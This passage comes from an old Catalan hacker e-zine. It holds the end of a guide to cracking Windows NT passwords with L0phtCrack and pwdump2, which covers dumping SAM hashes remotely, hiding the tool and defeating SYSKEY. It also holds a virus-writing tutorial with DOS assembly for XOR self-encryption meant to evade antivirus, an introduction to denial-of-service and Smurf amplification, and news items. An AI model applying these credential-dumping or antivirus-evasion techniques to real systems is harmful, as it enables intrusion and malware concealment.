les contrasenyes tenen nomes lletres pot tardar dues hores en trobar-les, si
contenen lletres i nombres pot tardar dos dies, si a mes a mes contenen
caracters especials pot tardar setmanes. Aixi que us recomano que comenceu per
un conjunt de caracters de nomes lletres, despres amb lletres i nombres i per
ultim amb caracters especials.
Les opcions mes importants de L0PHTCRACK son:
- File -> Open Password File : obre un fitxer de text que conte les
contrasenyes, com els salvats per L0PHATCRACK o PWDUMP.
- File -> Open Wordlist File : obre un fitxer de paraules per l'atac de
diccionari.
- File -> Import SAM file : obre un fitxer de contrasenyes SAM.
- File -> Save and Save As : guarda les contrasenyes en un fitxer de text amb
extensio .lc . Aquest fitxer es pot tornar a carregar despres per continuar
amb el crackejat o comencar una nova seccio de crackejat amb opcions
diferents.
- Tools -> Dump Passwords from Registry : recupera les contrasenyes de la
seccio SAM del registre. Es poden recuperar les contrasenyes d'una maquina
remota especificant el seu nom NT o la seva adreca IP. Calen privilegis
d'administrador i acces remot al registre.
- Tools -> SMB Packet Capture : inicia la finestra per capturar paquets
d'autentificacio SMB de la xarxa.
- Tools -> Run Crack : inicia el crackejat de contrasenyes amb les opcions
especificades.
- Tools -> Stop Crack : para una sessio de crackejat. La sessio es pot
reiniciar en qualsevol moment.
- Tools -> Options : estableix les opcions de crackejat (atac diccionari,
atac hibrid, atac de forca bruta i conjunt de caracters).
- Window -> Minimize to tray : minimitza el programa a una petita icona a la
barra d'estat. Es reactiva fent clic sobre la icona.
- Window -> Hide : minimitza el programa i l'amaga completament (no apareix
ni al Task Manager). Es reactiva prement alhora la combinacio de tecles
Ctrl+Alt+L.
7. MES INFORMACIO
-----------------
Podeu trobar mes informacio sobre seguretat a Windows NT a les seguents
pagines web:
* http://www.nmrc.org/faqs/ : FAQ hackejar Windows NT en angles
* http://ntsecurity.nu : informacio en angles i eines
* http://www.ntsecurity.net : informacio en angles
* http://enete.us.es : informacio en castella
Podeu rebre periodicament informacio sobre vulnerabilitats i seguretat a
Windows NT a la vostra adreca de correu electronic si us subscriviu a les
seguents llistes de distribucio:
* NTBugTraq (www.ntbugtraq.com):
Per subscriure-us envieu un missatge a listserv@listserv.ntbugtraq.com, amb
la seguent linia en el cos del missatge: subscribe ntbugtraq nom cognom
* NTSecurity (www.iss.net):
Per subscriure-us envieu un missatge a ntsecurity@iss.net, amb la seguent
linia en el cos del missatge: subscribe ntsecurity
8. AFEGITS D'ULTIMA HORA
------------------------
* Amb el Service Pack 3 hi ve una petita utilitat anomenada SYSKEY que
permet, si l'administrador aixi ho especifica, encriptar el fitxer SAM,
impedint-nos recuperar-lo amb alguns metodes abans esmentats (Dump
Passwords from Registry, etc.). Afortunadament per nosaltres i
desafortunadament per Microsoft, hi ha una utilitat gratuita que permet
aconseguir les contrasenyes encriptades en una maquina local que faci
servir SYSKEY. La trobareu a
http://www.webspan.net/~tas/pwdump2/
Despres podem carregar el fitxer de contrasenyes encriptades generat per
PWDUMP2 a L0PHTCRACK mitjancant l'opcio File -> Open Password File.
* En el moment d'escriure aquestes ultimes linies, el prestigios grup de
hackers Rhino9 a tret un programa per saber quin Service Pack te instal.lat
una maquina amb Windows NT a la nostre xarxa. L'eina s'anomena Chronicle i
en la seva primera versio encara no funciona del tot be, pero suposo que
els petits defectes quedaran arreglats a les versions posteriors. Podeu
trobar Cronicle a:
http://www.technotronic.com/rhino9/software/chronicle.htm
* El consell de redaccio de la revista :) em demana si puc explicar com
protegir a una maquina que funciona amb Windows NT. No era la intencio
d'aquest article cobrir tots els aspectes de seguretat i hacking a Windows
NT. Per aixo ja hi han escrits altres articles, o inclos llibres. La meva
intencio era explicar, partint de zero i d'una manera senzilla, com fer-nos
amb les contrasenyes. No obstant, donare una serie de breus consells per
tothom coneguts i que, de tant generals, serveixen per qualsevol altre
sistema operatiu que no sigui Windows NT.
1. Quan instal.leu Windows NT, seleccioneu la instal.lacio personalitzada,
per tal de no instal.lar per defecte components que no heu d'utilitzar
(com per exemple l'Internet Information Server). Cada programa que
instal.leu pot tenir forats i vulnerabilitats, aixi que instal.leu els
minims que realment necessiteu.
2. A continuacio instal.leu els pegats ('parxes' es un barbarisme) que
hagin anat apareixent. En el cas de Windows NT el fitxer de pegats
s'anomena Service Pack. El podeu trobar a la pagina web de Microsoft i
tambe amb els CD que acompanyen a les revistes d'informatica.
3. Comproveu les opcions d'instal.lacio que s'han creat per defecte:
usuaris que s'han creat, privilegis, contrasenyes, horari i ordinadors
dels quals poden accedir, etc. Vaig llegir que calen fer uns 300 canvis
a la instal.lacio de Windows NT per que aquest sigui un sistema operatiu
segur. Sense comentaris. Cerqueu la llista de canvis a Internet. :'(
4. Comproveu la seguretat del sistema mitjancant programes escanejadors de
vulnerabilitats. Aixi sabreu quins forats teniu oberts i quina
informacio pot recuperar un intrus del vostre sistema. Abans us he donat
l'adreca d'Internet on podeu trobar un.
5. Subscriviu-vos a llistes de distribucio sobre seguretat a Windows NT,
accediu a pagines de hacking especialitzades en NT,... Estigueu al lloro
de les noves vulnerabilitats que es van trobant!
6. Llegiu algun llibre sobre Windows NT Server i sobre seguretat a Windows
NT.
Encara que si voleu seguretat, el millor que podeu fer es no instal.lar ni
Windows NT ni cap altre sistema operatiu o producte Microsoft. :)
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$09$
.-------------------------------. .------------. .--------.
| | | | | |
| Rutines d'encriptació: | | Per Pop.tPH | | Virii |
| | | | | |
`--------------------------------' `-------------' `---------'
Sembla que el virii està molt apartat en quasi totes les revistesde hpcv,
aixi que trencaré el gel i començaré a fer-ne un, sobre una de les tecniques
més utilitzades (a part del polimorfisme (que ja us parlaré un altre dia)
a l'hora de crear un virus i apartar-lo de la mirada del antivirus i dels
curiosos que busquen en el fitxer executable cadenes de texte relacionades
amb un virus (o les ordres de w32 utilitzades pel windoze).
No pretenc que us dediqueu a fer una cosa tant 'ilegal' i 'mal vista' (desde
fora de l'scene) com es el fet de fer virus, sino tot el contrari, comprendre
les tecniques que utilitzen i poderles utilitzar nosaltres en contra dels
virus o en programes que fem (per exemple per comprovar passwords). Aixi que
no cal dir que em desentenc de qualsevol malifeta que pogueu fer després de
llegir aquest article. Tot això ha estat escrit amb simples ànsies d'aprendre.
<popnote> Segurament haviat patiré una crisi d'identitat i em deixaré de dir
"Pop.tPH" a dirme "pancake", aixi que no us extranyeu sino trobeu cap
article més escrit per Pop.tPH pq serà pancake. #?
INTRODUCCIó:
~~~~~~~~~~~~
Al principi els virus utilitzaven 'simples' rutines de funcionament, pero,
poc a poc, els creadors (de vida? ;) van començar a veure la necesitat
d'emprar tecniques que els defensesin, dels antivirus, una de les tecniques
que empraven (i encara l'usen), és l'encriptació, amb aquesta tècnica, es
consegueix mantenir només a la vista la part del virus que desencripta la
resta del virus i la resta és totalment 'brosa'.
Més endavant van començar a veure que aquesta era una tècnica massa simple,
ja que el virus (per molt que no es pogués desensamblar) la cadena de 'codis'
era sempre la mateixa, o sigui, que la part encriptada era sempre igual, i
d'aqui va sorgir l'encriptació aleatoria, aquesta tecnica, combina la tecnica
d'encriptació inicial, pero canviant en cada copia del virus l'algorisme
d'encriptació, tant podia ser amb un codi aleatori basat en XOR o combinacions
de diverses operacions OR, SHR, etc..
CONEIXEMENTS BASICS:
~~~~~~~~~~~~~~~~~~~~
Per poder seguir aquest article haureu de tindre uns coneixements basics d'asm
(si no els teniu podeu llegir-vos els articles de programació en asm popASM
que els podeu trobar en les anteriors revistes de CatHack!), pero aquest cop
ens centrarem en una funció nova:
byte ptr [si + code]
ooh! quin gust que dona escriure aixo!, pero que coi vol dir???, molt fàcil
traduïm al angles i al català:
byte ptr = byte pointer = apuntador d'un byte
i la segona part: [si + code]
| |____ posició on comença el codi encriptat.
|
|_________ apuntador (l'usarem com a contador): per
poder copiar una serie de bytes de forma
seguida amb un simple LOOP.
També caldra saber utilitzar MOV i les diverses ordres d'encriptació.
MOV destí, origen exemple--> MOV AX, BYTE PTR [SI+10Ch]
També ens seran utils unes quantes eines per poder comprendre tots els
conceptes i poder començar a fer alguns exemples simples, per aixo us
adjunto un debugger (hack.uue) que està al final de la revista, i que poc
a poc us aniré ensenyant com rula, si voleu versions més noves us la podeu
baixar de http://work.de/nocash
TEORIA:
~~~~~~~
Molt maco tot, pero com funciona ixo?? doncs molt fàcil:
mapa de memoria del virus:
100h [ algorisme de desencriptació ] ; zona desencriptada
10Ah [ test d'encriptació ] ; comprova si està enk.
10Ch [ virus encriptat ] ;\
1xxh [ ... ] ; zona encriptada
142h [ virus encriptat ] ;/
tenim dues parts dins del virus, la zona desencriptada, que consisteix en
una rutina de poc tamany que s'encarrega de fer un loop desencriptant tota
la part encriptada del virus.
exemple:
100h mov cx, 42h ; nombre de bytes a encrptr
102h xor byte ptr [si + 10Ah], valor_dencriptacio ; una mena de 'password'
106h inc si ; augmenta l'apuntador
108h loop 102h ; repeteix la operació cx
; vegades
10Ch ... ;\
1042 ... ; virus encriptat.
en l'ordre xor podem canviar valor_dencriptacio pel byte en alguna possició
que sigui el valor "password", si ho fem aixi podem fer que el valor
d'encriptació sigui diferent cada cop que executem el codi.
Ara per comprovar si funciona el que hem fet farem servir el hack.exe obrint
el fitxer
Premem "CONTROL+V" -per activar el menu hexadecimal i el d'F#'s
busquem el final de la rutina d'encriptació (despres del loop 102h en
en nostre cas), situem el cursor allà.
Premem F2 - Breakpoint (punt de ruptura) amb aixo conseguim que el
programa executi la rutina d'encriptació/desencriptació sense
executar la part del virus encriptada.
i per executar-ho premem F9 -Run,
----exemple d'una rutina d'encriptació-------
jmp comprobar_si_esta_encriptat
start:
.
. ; codi inicialment encriptat
.
jmp enkriptar
fi:
senyal_dencriptat db 90h ; aquesta senyal ens servirà
; per saber si el virus està
; encriptat (diferent de 90h)
; o no (=90h).
comprobar_si_esta_encriptat:
cmp 90h, byte ptr [senyal_dencriptat]
je start
encryptar:
.
. ; rutina no encriptada que encripta
. ; i desencripta el programa
jmp start
----exemple d'una rutina d'encriptació-------
Algorismes d'encriptació:
~~~~~~~~~~~~~~~~~~~~~~~~~
Una cosa molt important és buscar un bon algorisme d'encriptació, per què
sigui més dificil (no de llegir el codig font) sino que els antivirus no ens
enganxin la rutina i la identifiquin amb mètodes "heuristics".
L'algorisme és un seguit d'ordres que podem utilitzar per encriptar el codi
del virus, aixi mateix podem trobar diverses ordres que ens serveixen per
modificar els bytes un per un i que poguem retornar a desencriptar. Aquestes
ordres són:
[ encripta ] [ desencripta ]
ADD -- SUB
SUB -- ADD
ROR -- ROL
ROL -- ROR
INC -- DEC
NOT -- NOT
XOR -- XOR
Aixi mateix podem fer combinacions entre elles per fer encriptacions noves
per exemple (ADD + ROR) -- (SUB + ROL), si fem les operacions sempre ens
donara el mateix resultat.
Si us heu fixat amb el llistat anterior (cosa k estaria bé :) - us haureu
fixar que les ordres NOT i XOR s¢n iguals per encriptar que per desencriptar
...mmh interessant... explico:
funcionament de NOT:
dona el nombre "invertit":
NOT 10011010 -> donarà 01100101
i si li fem NOT al resultat tindrem el primer nombre. :P
funcionament de XOR:
Dona 1 si son iguals: explico:
XOR 11010101, 01001101 -> 01100111
i si fem XOR al nombre resultant amb el nombre segon tindrem
el primer nombre!!.
explico:
XOR A, B -> C
XOR C, B -> A
* B és el valor que utilitza com a patró per encriptar
(una mena de password cutre).
D'aquesta forma podem fer que el codi s'encripti cada cop amb un nombre
diferent i per tant més dificil de conseguir el codi real. Algunes de les
tecniques per utilitzar el xor més utils (fetes per mi, potser una mica
cutres, pero es el que hi ha :P) son:
1. xor byte ptr[si], byte ptr [si+1]
2. xor byte ptr[si], valor
valor db 24h
3. xor byte ptr[si], 3h
...
Paso d'explicacions perquè és molt fàcil de veure.
<popnote> el registre si l'utilitzem com a punter, el codi necessita una
linea que augment aquest registre fins que encripti tot el codi (INC SI)
Get_Out:
~~~~~~~~
Si us heu fixat, ens trobem davant d'un problema: quan compilem el codi,
està desencriptat i per tant es pot enxampar facilment... la soluci¢ està
en fer una rutina que extregui el codi en un fitxer...explico:
.-----------------.
| enk/desenk codi | ; encripta el codi(si no ho estava salta a extreure'l)
|-----------------|
| codi | ; codi encriptat (ara si)
|-----------------|
| replicació | ; rutina de replicaci¢ (fora del codi encriptat)
|-----------------|
| extreu el codi | ; copia els 3 primers moduls a un fitxer extern.
`-----------------'
Creem la rutina que extreu el codi:
Llistat de compres:
- Crear fitxer
- Obrir fitxer com a escriptura
- Escriure en fitxer el codi
- Tancar fitxer
- Magdalenes
-----[rutina]--------
Crear_fitxer:
mov ah, 3ch ; funcio de crear fitxer
mov cx, 0h ; atribut normal
lea dx, file_name ; nom del fitxer
int 21h ; CREACIO!
jmp Obrir_fitxer
file_name db 'extret.com',0
Obrir_fitxer:
mov ax,3d01h ; funci¢ d'obrir fitxer en mode escriptura (01h)
mov cx,8
lea dx, file_name
int 21h
mov handle,ax ; guardem el handle (file id) en [handle]
jmp Escriure_fitxer
handle dw 0h ; definim [handle] del tamany de 16bits=ax=dw
Escriure_fitxer:
mov ah,40h ; funci¢ d'escriure fitxer
mov bx,handle ; volem escriure en el fitxer
mov cx, longitud* ; longitud del codi a copiar
lea dx, write_in_file ; posisi¢ inicial a copiar(100h = PSP)
int 21h
; * longitud: ho explicaré més avall.
Tancar_fitxer:
mov ah,3eh ; funcio de tancar el fitxer
mov bx,handle ; handle asociada
int 21h
-------[rutina]--------
Pero... on està la part que copia el codi al fitxer??? se l'han menjada???
no, tranquils, no l'he ficada, us l'explico ara: La rutina que copia el
codi al fitxer es la de "Escriure_fitxer", allà si us hi fixeu trobareu:
AH -> funció: escriure fitxer (40h).
BX -> handle: identificador del fitxer.
CX -> nombre de bytes a copiar.
DX -> pointer on començarà a llegir per copiar.
Doncs és això, en DX, posseu 100h, que és el tamany del PSP (256 bytes)
i per tant copiarà desde la primera ordre fins 100h + CX, on CX es la
longitud del codi a copiar... ho explico abaix (2).
MESURA DE LA LONGITUD:
~~~~~~~~~~~~~~~~~~~~~~
Quan hem d'encriptar un codi hem de saber el tamany d'aquest codi :P logic!
per dir-li a les rutines d'encriptaci¢ i/o de replicació quants bytes han de
copiar o modificar, per no passar-nos i cagar-la.
Per mesurar un codi s'acostuma a fer restant les etiquetes:
o sigui:
-----------------------------------------------
longitud equ final-principi
principi:
...
final:
-----------------------------------------------
També podem medir el tamany ficant un db (define byte) al final per poder
medir-ho:
Aixi que haurem de ficar un "codi inutil" a "final:" pq ens la dongui com a
vàlida: o sigui hem de ficar una ordre "inutil" després de l'etiqueta, pero
que es una ordre inutil?? és una ordre q en principi té utilitat pero que no
en té. els de la intel son aixi. ;)
Aquestes ordres s¢n:
nop = 90h
wait = 9Bh
lock = F0h
leave = C9h
hlt = F4h
cli = FAh
sti = FBh
clc = F8h
stc = F9h
cld = FCh
std = DCh
Per evitar fallos i tal us recomano que utilitzeu alguna ordre del primer
llistat (lock us pot portar problemes si no té res darrera). I també heu de
tenir en compte que no es poden utilitzar totes les ordres en tots els micros
aixi que si utilitzeu un simple NOP segur k us va a tot arreu (z60 inclos :)
(Els de la 2n bloc modifiquen les flags...i això a vegades, quan fem CMP, ens
pot anar malament, pq farà unes comparacions errònies)-
Pero l'altre forma de medir-ho es aquesta, (jo prefereixo aquesta), es tracta
en fer un jmp a la primera linea al codi encriptador, i delimitar el codi
a encriptar per un db (define byte) amb un nop, i ja sabem una cosa:
jmp = 1byte
codi = x bytes
longitud = x - 1 byte
i fent un simple lea cx,final || sub cx, ja ho tenim tot.
M'he currat una rutina d'encriptaci¢ una mica rebuscada i mal escrita pero
bueno, us ajudarà a entendre moltes coses de les que he dit fins ara.
-------[rutina d'encriptació]---------
.model small
.code
jmp enk0 ; salta a encriptar
start:
mov ah,9h
lea dx,frase+100h
int 21h ; escriu la frase
mov ah,0h
int 1Ah ; agafa nombre aleatori
mov al,dl ;
mov bp,100h
lea si,valor
mov byte ptr [100h+si], al
mov bx,90h ; exec sign (senyal d'execucio)
jmp enk0
frase db 'Frase no encriptada$'
final db 90h ; enk sign (senyal d'encriptacio)
valor db 25h ; aixo esta fora del codi a encriptar
enk0:
lea cx, final ; medim el tamany del codi encriptat
mov bp, 2h ; de pas grabem l'inici del codi enk
sub cx, 1 ; restem el tamany de 'jmp comprova' (2bytes)
lea ax, byte ptr [valor]; valor d'encriptacio
enk:
xor byte ptr[bp], al
inc bp
loop enk ; rutina d'encriptació
lea si, final+100h ; comprova si esta enkriptat
cmp byte ptr [si], 90h
je start
cmp bx,90h ; comprova si s'ha executat
jne enk0
fi:
mov ah,4ch ; sortir al DoS
int 21h
end
-------[rutina d'encriptació]---------
Per compilar-ho ho fiqueu en un fitxer k es digui enk.asm i feu:
tasm enk
tlink enk
i estaria bé que l'enrutessiu amb el hack debugger (està adjunt
a la revista a l'apartat CFI).
M'explico:
c:\ hack.com enk.exe
--> entra al programa...
premeu Control+V
premeu Shift+tecla_avall
premeu AvPag fins que veieu la cadena de texte que diu "Frase no encriptada"
Ara premeu Shift+tecla_amunt
I aneu prement F3 veien que passa quan executa cada ordre, i fixeu-vos quan
executi la ordre LOOP a la part d'abaix, com podreu comprovar el encripta
i desencripta 3 vegades. (està mal fet).
Ara, la gràcia està en escriure una rutina ben feta xD
Si us heu fixat he utilitzat un valor aleatori per a cada encriptació, com?
doncs amb la funció 0 de la interrupció 1Ah (de la BIOS) que pren els tics
del rellotge desde les 12hores i els graba en DX, (he agafat DL, pq canvia
més sovint que no DH) es lògic si us ho mireu :)
<nota> També podem aconseguir un nombre aleatori i grabar-lo en AX utilitzant
el port 40h aixi: IN AX, 40h, aixi podem conseguir si volem un valor aleatori
de 16 bits i podrem utilitzar un word ptr a l'hora de executar les rutines.
Un altre detall és el de "exec sign", una senyal que fa el codi al executar-se
que li diu més endavant que ja l'ha executat i per tant el codi està
desencriptat i per tant cal encriptar-lo i sortir del programa.
Encara que fixeu-vos al traçar-lo i sortir del programa. El codi s'encripta,
però quan sortim del programa i tornem a obrir el codi es veu encriptat!!!
aixo es pk hem de fer l'autorreplicació per poder grabar el codi encriptat.
Buffers:
~~~~~~~~
Si ens fixem en la idea que tenim fins ara, la rutina d'encriptació queda
situada fora del codi encriptat, i per tant encriptat només tindrem el
codi del virus (mig) pq la rutina d'encriptació i la d'autoreplicació
estaràn desencriptades per poder rular. Pero hi ha una solució, per poder
encriptar tb aquesta rutina: DUPLICACIÓ DEL CODI.
Caldrà fer una rutina que copii el codi del virus (o programa :P) en una IP
no utilitzada: per exemple 5000h, i copiem el codi allà, per fer-ho emprarem
la ordre
mov byte ptr[si+5000h], byte ptr[si]
i imitant la rutina d'encriptació fent un INC SI, repetint l'ordre CX vegades
amb un loop. Un cop fet aixo, podem seguir executant el codi sense cap problema
i haurem de canviar la rutina d'encriptació perquè agafi els rangs 5000h+[si]
ja que el codi que encriptarem serà aquell i no el real, ja q si encriptem el
real no podem executar-lo per replicar-se ;P
Explico gràficament:
.-- ja no faig servir jmp :)
.----------------. |
(1) | call decrypt | -------'
|----------------|
| codi encriptat | -------- codi inicialment encriptat - un cop desenk.
| + rutina de | executarà el codi de duplicant-lo (copiant
(2) | replicació i | el codi a 5000h), encriptant-lo i replicant
| duplicació | el codi als fitxer infectats.
|----------------|
(3) | rutina de |
| desencriptació | -------- al final ficaré un RET per executar el codi
`----------------'
D'aquesta forma conseguim una forma més optimitzada de la encriptació del
virus (encara q perdrem alguns cicles copiant el virus 2 cops), pero...a qui
li importa perdre uns cicles quan té un trasto de 500MHz? xD
Replicació:
~~~~~~~~~~~
M'he currat una rutina que replica el codi a copiar a 5000h (una possició de
memoria que no crec q utilitzeu (es bastant alta) si la feu servir doncs
busqueu una més alta o canvieu de cs!
-----[rutina de replicació]-------
.model small
.code
lea si, principi ; Principi del codi grabat en "SI"
mov cx, final-principi ; Longitud del codi a copiar
call move_code_to_5000h
lea ax, 5000h+principi ; Jmp al codi replicat
jmp ax
principi:
mov ah,02h
mov dl,'A'
int 21h
mov ah,4Ch
int 21h
final:
move_code_to_5000h:
mov ah, byte ptr cs:[si[
mov byte ptr cs:[5000+si], ah
inc si
loop move_code_to_5000h
ret
end
-----[rutina de replicació]-------
Molt bé, si voleu el podeu traçar amb el hackdebugger- pero lo interessant
està en fusionar les dues rutines, per aixo fem un esquema aclaratori del
que farà:
.----------------.
| jmp enkrypt | -------> salta a encriptar
|----------------| --.
| jmp desenk | |
|----------------| |
| codi a | |
| encriptar | |
|----------------| |--- codi a extreure, estructura: (A)
| desenk a 5000h | |
| jmp 500h | |
|----------------| --'
| encrypt: | -------> encripta el codi al seu lloc
|----------------|
| cmp / jmp codi | -------> comprova si està encriptat i si no salta a codi
|----------------|
| extreure a un | -------> extreu el codi i el graba en un fitxer extern
| fitxer extern | que tindrà la estructura (A)
'----------------'
Ara només queda la part de juntar-ho tot, que us ho deixo a les vostres
mans perquè aneu practicant.
ReSuMiNt:
~~~~~~~~~
Com podeu veure, l'encriptació és una tècnica molt complexe i útil, ja que
ens donarà al virus una capacitat força bona per amagar-se de la "mirada
indiscreta" dels antivirus i els curiosos (nosaltres? xD).
No hi han rutines bones ni dolentes, simplement diferents, i això és el
que conta, creeu les vostres rutines, menjeu-vos el tarro, i procureu no
"copiar-pegar", d'acord?
Encara queden moltes tècninques interessants, com l'antidebugging, poli-
morfisme, etc... i per cert, en aquest article he fet simplement una
introducció, segurament més endavant el completaré amb més rutines, tècniques
i coses noves que de segur que us interessaran.
> pancake <
|
|
`---- usease Pop.tPH ;)
The moon become my eyes.
-Exceptions
[EOF][EOF][EOF][EOF][EOF][EOF][EOF][EOF][EOF][EOF][EOF][EOF][EOF][EOF][EOF]
|----------------------------------------------------------------------------|
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$0A$
==========================================
INTRODUCCIÓ ALS Denials Of Service (DoS)
1a PART
==========================================
Hola lectors de la CatHack! zine. En aquest article us parlare sobre els
Denials of Service altrament coneguts com un DoS.
-QUE ES UN DoS?
----------------
El Denial of Service es un atak ke konsisteix en sense tenir cap permis a una
maqunia remota, penjar-li el sistema. Aquest es un tipus d'atac dificil de
protejir-se i facil de dur-lo a terme. El problema basic es ke qualsevol
plataforma Unix, dona per suposat que els usuaris de la maquina es
comportaran, pero es descuida de nosaltres... ;P
-PQ ES PRODUEIXEN ELS DoS?
---------------------------
Jo penso que basicament per aquestes raons:
-estimulacio personal
-revenja
-guanyar acces
Altres possibles raons serien de caracter economic o de la competencia.
Com es volia fer creure en el cas de Yahoo!
-QUINS SISTEMES OPERATIUS SON MES SEGURS DAVANT D'UN DoS?
----------------------------------------------------------
Mmm... es una pregunta difil de respondre. Molts dirien que qualsevol unix es
millor que un windows 9x o NT, pero ens podem trobar amb un administrador
d'una maquina amb unix i la tingui molt mal configurada.
Comparem Win 9x/NT amb un Unix:
Un sistema unix es molt complex i te un ou de programes "empotrats", molts
serveis... Per aixo sempre hi ha alguna manera de penjar el sistema amb acces
fisic a la maquina. En un Windows NT i 9x conectats en xarxa hi ha algunes
maneres de penjarlo, aquests metodes kasi sempre funcionen. En un unix es mes
facil veure el que han fet els usuaris del sistema (atacs, feina, ...), en
canvi sota un Win es mes dificil de saber ke han fet els usuaris. Un
administrador d'un sistema unix probablement te mes experiencia davant
d'un admin de windows.
Pertant un Unix es mes segur contra atacs interns de denials of services.
Pero remotament, al tenir mes serveis un unix que un windows dons les
maquines que corren sota un Windows estan teoricament mes protegides.
-ALGUNS DELS OBJECTIUS PER UN ATAK
-----------------------------------
1.-Espai SWAP
Molts sistemes tenen un ou de Mb destinades a la memoria swap. A l'hora
d'atakar un sistema en aquestes condicions, intentariem omplir al maxim
aquesta memoria per saturar la maquina.
2.-Kernel Tables
Es important causar un buffer overflow a les "kernel tables" per causar
problemes al sistema. Els sistemes que escriuen a traves de memoria cache i
petits buffers d'escriptura son bastant sensibles.
El lloc on s'allotja la memoria del Kernel tambe es un objectiu sensible. El
kernel te un kernelmap limitat, si el sistema arriba a aquest limit no pot
allotjar mes memoria del kernel i s'ha de reiniciar. La memoria kernel no es
nomes utilitzada per la RAM, CPU's, pantalles i tambe per procesos ordinaris.
Pertant un sistema es pot penjar amb un bon algoritme força rapid.
3.-RAM
Fer un DoS per atacar la memoria RAM pot causar mooolts problemes. Els
servidors NFS i els de mail son extremadament sensibles pq no necessiten
molta ram i normalment no en tenen gaire. Un atac a un servidor NFS pot ser
trivial. Un client NFS normal fara un enorme despesa per mirar la memoria
cache, un client NFS pot ser cualsevol cosa, el programa que has fet tu
mateix tambe pot servir si el fem servir adecuadament... ;)
4.-Disc dur
Simplement consisteix en omplir tot l'espai del disc dur.
5.-Caches
Un atak als caches ha d'estar basat a un metode per blokejar el cache o
evitar l'us del cache.
Aquests caches es troben als Solaris 2.X:
Directory name lookup cache: asocia el nom d'un arxiu a un vnode.
Inode cache: la informacio del cache es llegida des del HD en cas de que
sigui necesaria.
Rnode cache: te informacio sobre el sistema d'arxius NFS
Buffer cache: es un inode cache que blokeja indirectament un HD I/O
6.-INETD
Un cop inetd ha deixat de respondre, tots els altres serveis ke korren sota
inetd no funcionaran.
-TIPUS D'ATACS PER DoS
-----------------------
Un atac DoS és un concepte molt generic. Es pot fer de moltes maneres
diferents. Les mes usuals son les seguents:
1.- Net Flood:
Aquest atac simplement consisteix en saturar el seu ample de banda
Per exemple, el servidor X te un ample de banda a Internet de 2 Mbps i el
atacant en te 34, la linia de menor capacitat estara quasi be saturada per
l'atacant deixant molt poc ample de banda per el trafic util de la web.
Com aconseguim un gran ample de banda?
La primera possibilitat seria quedar unes quantes persones des de diferents
llocs al mateix temps i utilitzar algunes eines especials per instalar
"daemons" a les maquines objectiu vulnerables, i el programa en questio un
cop instalat, acceptara comandes del atacant per efectuar (per exemple)
un DoS contra una maquina determinada.
D'altra banda existeixen gran quantitats de xarxes de gran capacitat amb
maquines mal administrades i molt insegures (el que passa a moltes unis).
Dins del Net Flood, el atac mes interessant i el mes utilitzat seria el SMURF.
1.1.- SMURF
Aket atak utilitza una caracteristica d'Internet: "broadcast". Totes les
xarxes tenen el que s'en diu una direccio de broadcast. Gracies a akesta
direccio, els datagrames enviats aqui son rebuts per totes les maquines
conectades a la xarxa local. Aixo permet que una makina localitzi un
servidor proporcionant un servei, fent una pregunta a tota la xarxa i no
maquina per maquina.
El problema de la direccio broadcast es ke normalment esta disponible tambe
per users de fora la xarxa local, es a dir, a tots els usuaris d'internet.
Aixo permet ke un atacant envii un petit datagrama a tota la xarxa local
remota i ke totes les makines d'akesta xarxa responguin totes a la vegada,
possiblement amb un datagrama d'un tamany mes gros. Si la xarxa en questio
te 100 pc's actius, la resposta sera de 100 vegades mes intensa, = a
akonseguir un efecte multiplikador.
Si l'atakant utilitza una IP k no es seva (IP spoofing (se suposa ke ja
saveu ke es, sino ja farem un altre article) ) les respostes de la xarxa ke
fa de broadcast seran enviades a la IP del sistema spoofejat, es a dir, el
atakant esta atakant una red fent servir una altra red intermitja per
akonseguir ke els rekursos es multiplikin. Lo bo d'aket atak eske l'atakant
no cal ke kontroli les xarxes spoofejades.
<EXEMPLE> Si l'atakant te una RDSI i espofeja a 5 servidors amb 10 makines a
kada un, la xarxa a fer-li el DoS rebra uns datagrames bestials ja ke
l'atakant haura multiplikat els seus rekursos per 50 com a minim </EXEMPLE>
Aki s'akaba el meu artikle, bueno no del tot, al proxim numero de CAThack! hi
haura la continuacio amb altres tipus d'ataks DoS. Ens llegim ;P
(c) PGB - Març '00
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
000000000000000000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111111111111111111111111111111
$0B$
[ Notícies per BaRNer ]
Vam rebre un missatge que us pot ser d'interès aixi que us el retransmetem:
------mail-------------------------8<-------------------------------
Salut company/a!
Redosdedos som un grup antifeixista d'aficionats/des a
la informàtica.
Per ara, ens dediquem a buscar gent que vulgui formar
part del nostre
col·lectiu i és per això que contactem amb tu.
Redosdedos hem decidit deixar de ser una petita
agrupació de hackers
principiants per esdevenir un grup prou nombrós i amb
suficient força com per
acabar amb el feixisme, el capitalisme, el sexisme i el
racisme que abunda
a la xarxa d'internet (o com a mínim controlar-lo i
reduïr-lo
considerablement).
Per aconseguir aquest objectiu ens cal aglutinar el
màxim de gent i
associacions possibles; si et vols unir a nosaltres o
simplement, rebre més
informació sobre Redosdedos, contacta amb nosaltres
mitjançant la nostra
adreça electrònica:
redos@olemail.com
Qualsevol proposta que envieu és ben rebuda a la nostra
bústia i tindrà
resposta immediata.
Per un internet net de feixisme!
Independència i socialisme!
-------------------------------------------------------
Gràcies per contactar amb nosaltres, per cert, no tenim
pàgina web però l'estem elaborant. Quan l'acabem ja
contactarem per posar enllaços entre pàgines.
tl*li Salut i lluita! tl*li
==================================================
Atentament:
Redosdedos Hacking Internacional
VISCA LA TERRA LLIURE I SOCIALISTA!
==================================================
------mail-------------------------8<-------------------------------
Supermercat virtual de Condis
Condis, una marca de supermercats que té una gran
presència dins de l'àrea metropolitana de Barcelona, ha
obert en els darrers dies el seu primer supermercat
online, des d'on els seus clients poden fer i rebre la
compra a casa seva.
Mireia Cortès ( Mireia@noticias.com ) - Condisline.com és un
supermercat virtual que permet a l'usuari fer la compra sense
moures de davant de l'ordinador i amb totes les
especificacions, com pot ser quantitat o marca del producte.
